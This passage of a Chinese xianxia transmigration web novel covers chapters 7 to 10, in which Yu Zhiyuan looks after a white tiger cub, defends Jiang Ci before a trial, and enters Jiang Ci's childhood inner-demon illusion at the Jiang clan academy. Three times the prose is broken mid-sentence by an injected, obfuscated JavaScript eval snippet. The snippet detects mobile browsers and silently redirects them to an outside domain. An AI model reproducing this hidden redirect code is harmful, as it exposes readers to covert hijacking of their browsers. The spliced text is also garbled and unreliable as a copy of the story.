不知不觉间,远方晨曦微扬,阳光透过窗户,在眼前沁染出一片金黄色。 弟子舍馆内开始响起轻微的走动私语声,不多时又渐渐散去。 凌云宗内,内门弟子跟随各自的师尊修炼,而外门弟子则可在每日晨钟敲响之前,通过设在弟子舍馆外的传送阵赶到望尘峰,分别前去授课堂、练功场或是灵植园,由长老们统一授课。 当然,长老们所教的内容大都只是一些基础功法和知识,譬如基础的法诀手势,画符炼药,或是阵法、剑法,当然也有灵植养殖,灵兽驯养之类的课程,并不强制所有人都要学,只需根据自己的需求,从中自行选择需要的课程便可。 虞知鸢今日没打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829674|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算去上课,眼下对她来说,最紧要的不是去学这些原身记忆里本就有的东西,而是明日的第二重选拔试炼。 按照剧情,这第二重选拔试炼是在凌云宗后山的一处秘境之中。所有进入第二轮试炼的弟子都需要进入秘境,只需寻得一件天才地宝带回便算通过试炼,并且寻得的天才地宝也归本人所有。 凌云宗后山的秘境是个难得的洞天福地,天材地宝不算难找,但看守天材地宝的灵兽却不好对付。也就是说,她必须在保证姜辞平安顺利通过试炼的前提下,连带着把自己也拉拔过去。 姜辞有女主光环,通过试炼不难,但对她这个才练气二阶的人来说可不简单啊! 除此之外,原文中姜辞虽然通过了试炼,但因为在试炼中数次被同门背叛陷害放弃,导致她心中留下了挥之不去的阴影,这也便成了她日后心魔滋生的起点。 很显然,她若是想要完成系统任务,阻止姜辞的黑化,明日这场试炼也是关键所在。 啊,好难。 虞知鸢正抱着头苦思原文中有没有提起过哪只灵兽最好对付,突然一阵不紧不慢的敲门声响起。 她看向门口,眼中闪过一丝疑惑。 原身在凌云宗里没什么朋友,这时候来敲门,会是谁? 门外的人倒是没搞神秘,直接开了口:“师妹,是我。” 这声音……是林喻? 只是他这时候来找她做什么? “来了,林师兄稍等。” 虞知鸢扬声喊了句,迅速将毛团子往被子里一塞,这才起身下榻。 房门“吱呀”一声被打开,屋外寒风趁势而入,吹得虞知鸢忍不住打了个寒颤。 门外站的果然是林喻。 玉冠束发,气质温和,手里端了一盆与他气质不太相符的梅花糕。 “我看师妹这两日未到膳堂用膳,便自作主张带了些糕点来,师妹明日还要参加试炼,不吃东西可不成。” 虞知鸢昨晚睡前确实觉得自己饿得快要前胸贴后背了,但今日起床时,那股饥饿感却淡了许多。方才满脑子都是剧情任务她还没觉得,这会儿看到这盘梅花糕……竟也没觉得有多饿。 林喻见她不接,几不可察地蹙了蹙眉,“师妹可是不喜欢?” “喜欢喜欢,多谢林师兄关心。” 虞知鸢颇为给面子,也没提自己不觉得饿的事,抬手接过盘子,放在了身后的木桌上。 这时,被塞在被子里的毛团子忽然动了动,趁她没注意,悄悄从被子里钻了出来。 虞知鸢没看到,站在她对面的林喻却看到了。 林喻黑眸一抬,几分好奇地看了眼毛团子:“师妹何时养了只小白虎?” 虞知鸢回头一看,毛团子已经大剌剌撑起了脑袋,双眼炯炯地盯住了桌上的梅花糕。 她赶紧两三步走到床边,藏是来不及藏了,只好一把捞起毛团子,胡乱抱了在怀中,惹得白团子不满地“嗷”了两声。 林喻不疑有他,看向虞知鸢的眼神里似乎还带了些笑意。 “师妹倒是有闲心,只是普通白虎到底还是缺少灵性,日后恐会伤人。师妹何不等进入内门后,再寻个机会豢养只灵宠。” 虞知鸢默默低头看了眼毛团子。 普通……白虎? 她还未来得及质问系统,林喻又出声了:“唔?是我看错了?” 虞知鸢:哈?果然还是灵兽吧。 “它这是,”林喻走近几步,视线落在毛团子身上几息,语声略带惊讶:“……发情了?” 虞知鸢当场石化。 “发……发发……发情!?!” 8. 第 8 章 半炷香后。 虞知鸢百无聊赖蹲在寒潭边,一边给泡在谭中的毛团子喂梅花糕,一边重新梳理脑中原身的记忆。 原身在凌云宗外门待了十多年,那些被欺凌和欺凌别人的记忆虽然深刻,却也只占据了的一部分。 而绝大部分的记忆,却是她奔走于授课堂,练功场以及灵药灵兽园之间,每日勤学苦练,却因天赋受限,修炼始终不得其所,修为难有寸进的挫败和郁郁。 眼下,虞知鸢暂时还没有深切体会到其他,但灵宠豢养这一门…… 她瞧了眼水中悠哉悠哉的毛团子,气闷地鼓了鼓腮帮子: 灵宠豢养,她肯定学得——不!怎!么!样! 一盘梅花糕见底,毛团子似乎也泡够了水,在她身侧找了个地方,懒洋洋盘作了一团。 据林喻说,灵宠的发情期一般要持续三到七天,期间有些情绪暴躁易怒,但也有的身体会格外虚弱疲惫,毛团子显然属于后一类,想来泡寒潭也是它为了抑制发情期……咳……其他奇怪症状的法子,可惜昨日她不知道,否则也不会那么大剌剌就给它直接端走了。 不知道毛团子的发情期还有几天,虞知鸢也没有其他法子,索性也留在了山洞里。 随手将毛团子身上的毛发烘干后,她老老实实坐下来,按照原身记忆中学过的法子开始调息运灵。 原身修炼天赋虽比旁人差一些,好在灵脉是完好的。 虞知鸢方才凝神,便感觉到一股暖洋洋的气息被纳入体内,在周身经脉之中顺畅流转,汇聚丹田,又重新缓缓流转出去。 如此运行一周,额角都渗出了些细密的汗珠。 虞知鸢这厢专心致志,倒是身旁的毛团子忽然抖了抖耳朵,懒懒掀起了眼皮。 许是未来得及搭理,她今日格外素净,乌发随意挽起,发间只一条碧色丝带,一张巴掌大的脸未施粉黛,五官更显剔透。 日光穿透瀑布在她的脸颊上,映得她耳边浅色的绒毛都清晰可见。 一股熟悉的梅香在萦绕在鼻尖,挥之不去。 心底忽然不受控制地生出某个念头,宛若燎原星火,一发不可收拾。 姜辞喉结滚动,指尖微微蜷缩,迅速闭上了眼。 清心决念了一遍又一遍,才堪堪压下身体躁动。 然而再一睁眼,平日冷漠空洞的眸底,顷刻又只余一片晦暗。 前功尽弃。 /// 虞知鸢是被毛团子挠醒的。 山洞外头光线并不明朗,轻缓的水流声中隐隐夹杂着山间鸟雀清脆的鸣叫声。 又是一日清晨。 虞知鸢还有些懵,她不过打了会儿坐,这就过去了一日夜? 系统适时提醒:【第二重试炼即将在一炷香后开始,请宿主尽快前往碎玉峰。】 一炷香?从这里御剑到碎玉峰就要大半炷香的时间了! 虞知鸢猛地站起身,急匆匆往洞口出去。 走到一半,脚步一顿,回过头。 毛团子这会儿又已经团成了一团,软绵绵趴在原地。 看来发情期还没过,倒也不好带它离开了。 虞知鸢想了想,还是交代一句:“外面坏人很多的,乖乖待在这里,不要乱跑哦。” 毛团子听见了,缓缓站起身,歪过头瞟她一眼,随后“扑通”一声跃入了寒潭。 谁家小猫这么傲娇? 哦,我家的。 虞知鸢弯了弯眉眼,随即转身,御剑直奔碎玉峰。 参加这次内门弟子选拔的原有近七百,经过第一重试炼后,剩余不足两百人。 碎玉峰广场上,人都已经到的差不多了,正三三两两聚在一起说话,气氛很是热络。 虞知鸢从人群中走过,忽听身旁不远处有轻嗤声传来。 一道男声提高了音量,语调阴阳怪气道:“我道今日这广场上怎的一股子的怪味,原来是姜师妹啊,满身的穷酸气。” 虞知鸢转过头。 说话的男子身材中等,相貌平平,赫然便是前日在界域骨镜之中讥讽嘲笑她和姜辞那些人中的一个。 虞知鸢顺着他的目光看去,只见远离人群的地方,姜辞面上表情淡淡,正散漫地半靠在一旁的老树上,似乎什么也没听到一般。 几道破碎的日光透过枝桠,洒落在她脸颊上,映照出明晃晃的苍白,有种疏离又脆弱的美感。 虞知鸢握了握拳。 她表现的机会,来了! “咦?好像真的有股怪味呢。”她故意咋咋呼呼推开人群,大张旗鼓走到那人面前,嚷嚷道:“我也闻到了,好像就是从这里散出来的。” 说罢又抬手很是做作地在鼻尖前扇了扇,像是忽然认出方才说话那人,微微瞠大了眼睛:“啊,我想起来了,这位师弟,莫不是你前日在界域骨镜幻境里吓得尿湿了的裤子忘了洗吧?” 她声音不大,但在场都是修道之人,哪个不是耳聪目明,此时她这话一出,顿时吸引了广场上大半人的视线。 此时已然身为人群焦点的那人,面庞顿时涨得通红,盯住了虞知鸢,怒道:“你胡说些什么!” “我没胡说啊。”虞知鸢歪歪头,一脸天真地歪了外头,视线往那人下身瞟了眼:“那日我明明瞧见师弟的裤子都结冰了,但事关师弟男儿尊严,我就没好意思提醒师弟。说起来若不是师弟今日提起,我都快忘了这回事呢。” 她说完这句话,倏地捂住了自己的嘴,眨眨眼,像是才察觉自己说了什么不该说的话,十分无辜地问了句:“啊,师弟,我是不是不小心把你吓得尿裤子这件事说出来了?” 这一句接着一句,也不让人有插嘴的机会,那人早气得脸红脖子粗,一抬手…… 虞知鸢立马后退两步,随手揪住身旁人的衣衫把人往前推了推,自己则一个闪身躲到了后面。 “对、对不起师弟,我不是故意的说出来的,你别生气,我跟你道歉,”她抿着唇,眼尾微微下垂,瞧上去委委屈屈的,很小声地问:“你应该不会跟师姐计较这么点小事吧?” 那人指着她说不出一句完整的话,张口便是“你、你……” 这时,一道威严的声音蓦地打断了他的话。 “恐惧乃人之常情,身为修道之人不必为此羞愧,更无需在意他人看法。” 这话说的……多少有些超凡脱俗。 虞知鸢心有所动,随即侧眸望向声音传来的方向。 高阶之上,一位须发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829675|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆白的老者缓步而来。他的眼睛几乎细成一缝,也不知是天生眼小,或是太常微笑,导致眸子弯眯眯的,虽不见其眼中神韵,但他身上散发的威压,却是在场任何人都无法忽视的。 众人当即躬身拜了拜:“息尘长老。” 息尘长老抬了抬手,自他掌中飞出一张张符箓,分别给到所有参加试炼的弟子手中。 “第二重试炼即将开始,各位切记,试炼事小,万事无需逞能,若在试炼之中遇到解决不了的麻烦,催动这枚乾坤符,便可脱离试炼之地。” “谨遵长老教诲。” 息尘长老见状也不再多言,抬头望了望东边太阳升起的方向,而后双手结印,磅礴的灵力自他掌心涌出,逐渐显现出一个由无数金光流动的符文组成的法术阵图。 法阵缓缓变大升起,覆盖在了整个广场之上。 “此一重试炼,曰:问心。” 这句话落下来的时候,虞知鸢已经跑到姜辞身边扯住了他的袖子。 她满脑子都是“我得跟住女主,绝对不能跟她走散”的念头,导致一时没听清息尘长老的那句话,等到反应过来,一时傻了眼:“问、问什么?” 第二重试炼不是去秘境找天材地宝吗? 她忍不住抬头去看空中那硕大的法阵,法阵内符文源源不断如金蛇游走,霎时金光大亮,刺得她忍不住闭上了眼。 “此乃问心之阵,阵法之内呈现皆为各人执念与心魔,唯有放下执念、战胜心魔者,才能通过此重试炼。” 一道略微苍老的声音蓦地在她耳边响起。 虞知鸢一愣,眼睛睁开一条缝,这才发现周遭的一切不知何时已全然消失,身旁更是不见姜辞人影,取而代之的,却是前一瞬还站在高阶之上布阵的息尘长老。 他笑声呵呵:“孩子,许久不见,可还记得老头子?” 虞知鸢:“唔……” 原身在被虞瀚玥带到凌云宗时应当是去拜见过这位息尘长老的,只是那时她年纪尚幼,记忆已经十分模糊,况且她虽是虞瀚玥的亲女儿,可整个凌云宗内几乎无人知晓原身和虞瀚玥的关系,息尘长老此番……又是何意? 虞知鸢一时琢磨不出个头绪来,只得傻笑一声,含糊道:“息尘长老。” 息尘长老点点头,目光定于虞知鸢身上,倏尔,拈胡微笑道:“多年未见,确实与之前不同了。老头子便送你一件法器,助你通过此次试炼。只是日后,万事还需靠你自己。” 虞知鸢只从他这没头没尾的几句话中抓住了一个重点:“法器?送我吗?” 息尘长老朝她笑了笑,眸子眯细,又看不见眼瞳了,“这可是老头子百年来头一次帮人作弊,可莫要让人知道,毁我一世英名。” 虞知鸢:“……” 再一眨眼,便对上了一双深邃如寒潭的眸子。 “这是什么?”姜辞垂眸问她。 虞知鸢顺着他的视线低头。 她手腕上一圈儿银光闪烁,眨眼的功夫便顺着她指尖缠到了姜辞手腕上,而后同时消失不见。 这是…… 那啥,老头子也没告诉她,她也不知道啊! 虞知鸢动了动唇,抬起脸,眼前的景象却又一次发生了变化。 9. 第 9 章 一点白色的光从天边撑开一条缝,如薄雾漫涌,湮没周身。 薄雾中隐约有屋影成形,一座两座三座,逐渐形成一片规模宏大的宅邸……更有人声交谈,逐渐清晰。 “都练了一整夜了,这天寒地冻的,家主对少主也未免太过严苛。” “别多嘴,家主的事哪有我等置喙的余地。” “是,我这也不就很师兄你说说嘛……哎我说小丫头,可别发愣了,今日是你第一天入学宫,咱们姜氏学宫大着呢,可别跟丢了。” 虞知鸢眨眨眼。 与她视线齐平的是两双银丝云靴,再往上,月白色衣袍,同色腰封,手持长剑,乌黑头发束着道髻,是两个……很高大很高大的修士。 有多高大呢? 虞知鸢仰得脖子都算了,才堪堪能看到他们的发髻。 而后她很快意识到,或许并不是这两个人有多高大,而是自己…… 变小了? 她低头,怔然看着自己胖乎乎的小手。 “……” 所以她的执念和心魔就是变成小孩子? 这也太荒谬了吧…… 她可不记得自己小时候有什么心理阴影。 那这里又是什么地方? 她抬眸打量周遭。 这是一座占地面积极大的宅邸,积雪覆盖着古旧巍峨的重檐飞脊,阳光映在雪上,刺得她忍不住眯了眯眼睛。 这具身体瞧着不过五六岁,原身那时也已经身在凌云宗,记忆中似乎也没有这个地方。 系统突然出声道:【此地是女主姜辞幼时居住过的姜氏学宫。】 “姜辞住过的?”虞知鸢一双明眸滴溜溜转了一圈,“这里并不是我的心魔,而是姜辞的执念和心魔所在?” 系统:【是。息尘长老给宿主的法器名唤星移,在宿主入问心阵时,星移便将宿主拉入了女主的心魔之中。宿主只需帮女主顺利通过问心阵即可。】 虞知鸢立刻反应过来:“你的意思是我不需要再自己过问心阵?” 系统:【不错。问心阵中陷入心魔便很难挣脱,反而身在别人的心魔中,可以保持清醒的意识,对宿主来说也更容易通过试炼。】 “是吗?”虞知鸢若有所思:“但我不明白息尘长老为什么要帮我。” 系统没回答。 虞知鸢也算是看出来了,系统这个毫无感情,只有程序设定的人机产物,除非是跟女主相关,否则是半句都不会再多说了。 行吧,眼下还是帮姜辞解决心魔的事更重要一些,毕竟书里的姜辞也是因为被诱发心魔而黑化,现在要是提前解决了她的心魔,那不就意味着她的任务可以提前完成大半吗? 虞知鸢思考片刻,问系统道:“所以,姜家就是姜辞的执念和心魔所在?” 原文中确实有提及过姜辞出身于修仙家族姜氏,且姜氏一族在姜辞十五岁时便被人一夕屠尽,但具体是因为什么,凶手又是谁,书里却半句也没有提起。 不过,任谁的家族在一夜之间被灭门,都会成为她的心魔吧。 虞知鸢再度抬眸。 目之所及,楼阁峥嵘,斗拱飞担,画栋雕梁,一看就是非富即贵。 她忍不住咋了咂嘴。 毕竟这书里可没提起过姜家在没有覆灭前竟然是一个这样豪横的大家族啊! “小丫头,”走在前头的两人突然停下脚步,回头望过来:“别东张西望了,快跟上。” 虞知鸢愣了下,目光与其中一人相接。 这回终于可以确定,他们口中的“小丫头”果真就是她。 她含糊应了声,尝试着地抬起能明显感觉到虚软的小短腿。 哪知还没站稳,脚下就是一个踉跄,连带着身子也不受控制地往前跌了过去。 一双手稳稳扶住了她的肩膀。 “怎么路都走不稳。”约摸十六七岁的少年低头俯望着她,“小丫头也未免太过娇弱,咱们修道可是很辛苦的,你这般样子,日后如何能迈上大道。” 虞知鸢借着他的力道想要站直身子,两条腿却仍有些站不稳的摇摇晃晃。 “阿鸢大病一场,昨日方才醒来,体力不继也是正常的。”另一个眉心中央烙着朱砂红痣的少年蹲下身,抬手理了下虞知鸢的兜帽,朝她温和笑道:“阿鸢可是身子不适,师兄抱着你过去可好?” 虞知鸢自小就是个病歪歪的身子,小时候也没少让人抱着走路,但她如今已经二十多岁的心智,再让这个阳光温暖美少年抱,她这张老脸还往哪搁啊。 她头摇得像拨浪鼓,不防一侧有人突地俯身,将她一臂托起。 虞知鸢全然没防备,喉间禁不住滚出一声尖叫,忙不迭地抬手圈住了那人的脖子。 “小丫头别怕,不会摔了你的。”少年一口雪白如瑳的牙在阳光底下熠熠生亮,笑道:“果真是没几两肉。” “遥光,别总这样毛毛躁躁的。”眉心长着红痣的少年不赞同道。 “知道知道,”遥光耸耸肩,转头朝虞知鸢一笑,不以为意道:“看到了吧,师兄惯是这般啰嗦。” 虞知鸢:……你师兄说的没错。 这时识海中熟悉的机械音突然响起: 【叮~检测到女主遇到危险,请宿主尽快前去保护女主。】 虞知鸢先是愣了一下,而后迅速反应过来,转头四顾。 她这会儿被人抱着,视野便也比方才开阔许多,不费什么力气便看到了那个只穿着一身单薄衣衫,正在雪中练剑的小小身影。 正午的日头映在她瘦小的身躯上,几乎要融在这一片白雪茫茫中的亭台楼阁之中。 看上去比她大不了多少,单薄瘦弱得可怜。 虞知鸢:……好像哪里不太对? 遥光注意到她的视线,叹了声:“小丫头别看,也别理会。” 虞知鸢茫然,一张嘴,吐出一句奶音:“为什么?” 遥光还是第一次听到这小丫头开口说话,一瞬间都尚且没反应过来。 前头引路的少年闻声也有一丝诧异,他倒是很快调整过来,只回首温和道:“那是姜氏少主姜辞,他将来是要掌管整个姜家的,平日也自然要比旁人更辛苦些。” 果然是姜辞。 竟然是姜辞?!? 还是……少主? 原书中并未提及姜辞在姜家的确切身份,只说过姜辞自幼不被家人喜爱,但姜辞若是姜家的少主,又怎会不得家族喜爱? 这也太奇怪了吧。 更何况现在的姜辞还那么小,即便将来要执掌一个大家族,也没有必要一定要顶着风雪练剑吧,她还是个孩子啊! 虽然她以前也没生过孩子,但是不妨碍她的慈母心都快泛滥成汪洋大海了,瞧着眼前才七八岁的孩子,她都忍不住想要咒骂…… 等等…… 虞知鸢微微拧了下眉,总算察觉是什么地方不对劲了。 如果没记错,姜家被灭门的时候,姜辞应该已经十多岁了吧?那眼前的这个小萝卜头是个什么情况? 识海中,系统急促的警告音再次响起。 虞知鸢不胜耐烦。 不管了,先救了这个小可怜再说。 她立即晃了晃腿,示意遥光放她下去。 不想遥光却更抱紧了她,加快脚步就要快速走过冗长的廊道。 “我要下去。” “去哪里?”遥光将她的脑袋转回来,“你现在该去的是学堂,少主的事哪是你这个小不点能掺和的。” 虞知鸢小小的眉头不自觉地蹙起:“下雪,她会生病的。” 遥光闻言不觉牵起笑,“小丫头自己娇气,就以为咱们少主跟你一样娇气吗。” 眉心长着红痣的少年闻言,语气中也透出几分好笑:“阿鸢心善,但阿鸢还小,先要学会照顾自己,知道吗?” 虞知鸢一听,心里并不以为意。 这你们就不知道了吧?我都二十多啦,又不真是个小孩子,哪能不会照顾自己呢。 她鼓了鼓脸颊,揪住了遥光的衣衫,坚持道:“我要下去,放我下去。” 遥光见状,忍不住抬手捏了捏她脸颊,“哟,小丫头还有脾气了。” 这边正说着话,那头正在练剑的小人儿忽地一顿,眨眼间便直挺挺栽倒在了覆盖着薄雪的砖石地面上。 虽被遥光钳住了脸,眼角余光却一直注意着他的虞知鸢立刻“哎呀”一声,抬起胖乎乎的爪子指着那抹瘦小的人影:“她摔倒了,她要摔死了!” 这话旁要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829676|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人来说多少会引起一些注意,但偏偏是从个小娃娃嘴里蹦出来。软软糯糯的语调,遥光和谢沉舟,也就是那个眉心长着红痣的少年听了,都不觉失笑。 虞知鸢:“……” 另一边,也不知是雪太厚导致女主摔倒的声音太轻没人听到,还是有人看到却没人在意,那抹瘦弱的身影倒下后,竟无一人出现去扶他一把,他就那么孤零零躺在雪上,动也不动。 “真的,你们看啊,”虞知鸢急得狂甩腿,无奈小胳膊小腿的,根本无法从遥光怀里挣脱。 “快,快过去,她会死的!” 一个大病初愈的小丫头提起来自然也没什么力道,但胸前的脚印要是再多几个,就着实不大美观了。 谢沉舟和遥光无奈,转头看过去,带瞧见了那抹倒下的身影,几乎同时面色一变。 二人对视了眼,拔腿便往那个躺在雪地中的人走去。 数九寒天,冰冷的风裹挟着细雪,丝丝缕缕的寒意直直往人的骨缝里钻。 小小的人就那么蜷着身子,从头到脚都被一层白雪覆盖,他面色青紫,就好像真的死了一样。 谢沉舟赶紧去探他的鼻息。 虞知鸢见状,趁着遥光注意力在姜辞身上,一扭身子,总算滑了下来。 脚一沾地,她立刻迈着小短腿跑到姜辞身侧,趴到了他身上去听他的心跳。 还好还好,虽然微弱,但心跳还是有的。 她整个脑袋都搁到了姜辞胸膛上,兜帽滑落,垂髻上系着的碧色发带被冷风一吹,缓缓落在了姜辞的侧脸。 在雪中太久了,突然感觉到身上挨过来一道热源,姜辞下意识并不是贴近热源,而是挣扎着想要退远一些。 在姜家,他从来不被允许跟别人有过多接触,姜朝晖更下了死令不许别人靠近他,那此时来的人,又会是谁? 他本来无力再睁开的眼皮不自觉地颤了颤,但他实在太累了,即便很想睁开眼,却根本什么也做不了,就连他自以为的往后退却,也根本没有挪动分毫。 反而是在下一瞬,贴住身体的温度主动抽离,熟悉的寒意再度侵入骨髓。 还不待他松口气,一抹堪称滚烫的柔软便贴到了他的额头上。 太烫了。 烫得他本能地抬起手,想要抓住这份灼热的温度,但他的手几乎冻僵,即便是抬起这样简单的动作,对他来说也十分困难。 他不该这样的。 那人对他说过,人生而疾苦,他身为姜氏少主,就更该吃别人吃不了的苦,忍别人忍不了的痛。 他不该倒下,更不该眷恋这犹如火一般的炙烫。 那会毁了他的。 虞知鸢只觉得自己的手好像贴到了一块冰,她向来怕冷,忍不住地想要往回缩,却在这时,一只手蓦地摁住了她。 姜辞的手也冷得不像话,就像一块冰压在了她手背上。 虞知鸢一个哆嗦,抽了一下手却没抽回来。 身旁的遥光也有几分不忍,叹道:“要不让学宫里的医修来看看吧,少主身上都凉透了,再这么下去,可别真出什么事。” 谢沉舟沉默片刻,道:“你先把少主抱到廊下去,我来跟长老说。” 遥光点点头,把姜辞捞到怀里便往廊下走。 殊不知姜辞的手这会儿已经死死握住了虞知鸢的手,导致她跟个连体婴似的,不得不小跑着,亦步亦趋跟住了遥光。 雪落得厚,倒是不滑,但等她到廊下的时候,她的鞋袜已经有点弄湿了。 遥光把姜辞放下,这才发现两人的手紧紧握在一起,觑了虞知鸢一眼,好笑道:“小丫头才病好,倒也不嫌凉。” 他刚才都感觉自己像是抱了个冰块在怀里。 “凉。”虞知鸢皱皱鼻子,一双黑亮的眼睛盯住了遥光:“师兄帮他暖暖好不好?” 遥光:“……” 这就叫上师兄了?小丫头倒是半点不认生。 虞知鸢说完也不再管遥光,忍着脚底的冰凉,再次尝试着把手抽出来,但她不敢太用力,她之前从视频里看过,有些人冻得太厉害,随便一用力可能就会掰断的。 她垂着脸,堪称小心翼翼地去掰他的手指,不可避免的,与终于努力睁开了眼的姜辞对上了视线。 10. 第 10 章 姜辞此时已经被冻得不像话,青紫的脸色,看过来的视线也好像没有焦距,瞧着倒更像个尸体似的,实在没有什么看头。 虞知鸢不觉拧了拧眉。 正在此时,一股温热从被他抓着的手上传来。 虞知鸢现在这小孩儿的身体还没有修炼过,但之前好歹也做了几天正儿八经的修士,自然知道这股热意便是灵力在体内流转而产生的。 她抬眸,果然瞧见遥光正在给姜辞输送灵力。 另一头,谢沉舟似乎也得到了什么人的指示,见姜辞已经睁开了眼,便交代遥光先带虞知鸢去学堂,自己则俯身去抱姜辞。 抓着她手的力道对之前的虞知鸢来说或许不好挣脱,但这会儿灵力已经温暖了姜辞的身躯,她也不怕弄伤他,只稍稍一用力,便抽出了手。 她如今的个子实在是矮,踮起了脚尖,也还不到谢沉舟腰间,也便没有看到姜辞渐渐透出血色的唇,很快又归于苍白。 眼见着谢沉舟抱着姜辞要往另一个方向去,虞知鸢下意识往前跟了两步,被遥光从背后一把抱起。 “行了,少主自有人看顾,哪轮到你个小丫头操心。”遥光指尖点了点她的鼻子,“今日可是你第一日去学堂,别再耽搁了。” 虞知鸢还是不大放心,无奈自己这小胳膊小腿的,哪里拧得过遥光一个大小伙子,就这么被遥光三下五除二扛到了肩上。 另一头,姜辞缓缓转过头,视线落在那个同样被人抱着的小小身影,直至她的身影被风卷着细雪遮掩,直至再也瞧不见。 他眼中有一瞬间亮了下,却又很快覆灭,重新变得无悲无喜。 /// 姜氏学宫中的弟子有将近四五十人,不分年龄大小,均在同一学宫进学。 而这些弟子中,大部分来自姜氏一族的旁系,还有一小部分则都是自幼无父无母,被姜氏收容入学宫的孤儿。 学宫中负责教学的是姜氏的族老,一个相貌平平,鬓角都已经染上了白霜的小老头。 “你可知自己为何会身在此处?”族老看着虞知鸢问道。 这个……她还真不知道。 虞知鸢犹豫着,看了眼遥光和谢沉舟,试探性地摇了摇头。 小姑娘裹着一身白色小披风,藏在兜帽之下的脸上五官精致,生得极为可爱,特别是那双眼睛,像琥珀似的,充满灵气。 一个未经世事的孩子,本就幼小体弱,屠村时想必受了惊吓,被带回姜家后更是连发了几日高热,兴许便是受了刺激,才会记忆恍惚,不记得自己的出身和来历。 但她不吵不闹,乖巧的模样看着多少让人有些心疼。 “可怜啊。”族老满怀怜惜地感叹了一声,随即正色道:“你名虞知鸢,乃弘昼国人士,出身一普通农户,前些日子村中遭妖兽袭击,全村只余你一个活口,恰好被我外出历练的弟子遇见,这才将你带了回来。” 听到这话,虞知鸢不自觉地眉头微微一皱。 灭村剧情,好像有点熟悉? 族老见这么个小姑娘皱眉,心中也是不忍,想了想,又道:“你如今入了我姜氏学宫,便是踏上了修仙一途。凡人寿数不过区区几十载,仙人寿数不可计也。你好好修炼,日后若有所成,也算是因祸得福了。” 这话学宫中的弟子已听过不知几遍,此时再听眼中也还是忍不住露出了些热切的向往。 反倒是虞知鸢眼皮都没眨一下。 她实在对这话感冒不起来。 要知道这书的背景设定中,已经有近千年都未曾有人飞升,而唯一一个一只脚踏上登天梯的人,最后还因为心魔发作,将整个世界都给毁了。 而眼前这些人都还奢望着能成仙呢,殊不知他们自己都怕是没几年活头了。 族老见她似乎没有触动,面容平静之中更是透出一丝长辈的慈色,柔声问道:“你从前可听闻过修仙的种种?” “我……我不太记得了。”虞知鸢微微避开些他的目光,白嫩的手指攥了攥裙边。 族老的视线从她裙边轻掠而过,又想起她的来历,叹了一声。 小姑娘农户出身,生得又柔软,胆怯些也是正常。 “无妨,即今日起,你便是我姜氏学宫的弟子。”族老思考片刻,亲切笑道:“你年纪尚幼,修炼也不急在这一时,且在学宫先住上几日,让你师兄与你好好说一说便是。” 说罢,当即招来遥光,让他先带虞知鸢去休息。 路过刚才姜辞晕倒的地方,风雪已经将痕迹全数掩盖掉,不见人影。 虞知鸢哪里能耐得住性子来休息,她虽身在姜辞的心魔之中,但实际上她现在已经连姜辞的心魔究竟是什么都弄不清楚了。 现在的姜辞才那么丁点大,距离文中说的灭门时间还有好些年,所以姜辞的心魔难道并不是姜家被灭门一事? 不行,还是得去找到姜辞,只要跟在姜辞身边,她就不信找不出来她的心魔究竟是什么。 但……她低头看看自己的短胳膊短腿,还有小萝卜头似的身子…… 自己就这样摸出去找姜辞,怕不是人还没找到,自己就先走丢了吧? 她捂着脑袋在床上滚了好几圈儿,觉得有些冷,又咕蛹着钻到了被子里。 大概是小孩儿的身体本就嗜睡,不知不觉的竟然就睡了过去。 虞知鸢再醒过来,发现自己正站在一个由篱笆围成的小院中。 院中种满了瓜果蔬菜,青黄相接。成串的果子椭圆小巧,赶不及结果的花,生于新梢,黄中带青,小小迭绽。 不远处是由竹与茅草搭建的一座屋舍,老旧却不破败,一侧廊下还挂着一排排倒挂的金黄黍杆…… 虞知鸢望着这一切,整个人都已经麻了。 搞什么! 要不要换场景换得这么频繁啊,她都来不及适应好嘛!!! “阿鸢。”忽然有人在她身后出声唤她。 虞知鸢回头。 而后睁开了眼。 “醒了。” 遥光冲她一笑,指着外头微弱的天光,“小丫头再不起来,早课可就要赶不上了。” 原来是梦。 虞知鸢松了口气,揉了揉眼睛坐起身来。 自从穿到书里,她做梦也做得太频繁了些。但梦这种东西,也不是她自己能控制的。 她四肢并用爬下床榻,往搁着洗脸盆的架子走去。 遥光来之前还担心自己手脚太粗,没法伺候这小丫头洗漱,没成想小丫头个子不高,做事倒是利索得很。除了够不到洗脸盆,让他帮忙拿下来点,其他压根用不着他动手。 想来也是出身农户,不曾娇养着长大,才会年纪小小便这般懂事。 遥光心中唏嘘,顿时对虞知鸢生出了点像是慈父一般的怜惜,他弯下腰,难得柔声道:“可怜见的,来,师兄抱你去道场。” 虞知鸢:“???” 说谁可怜呢? 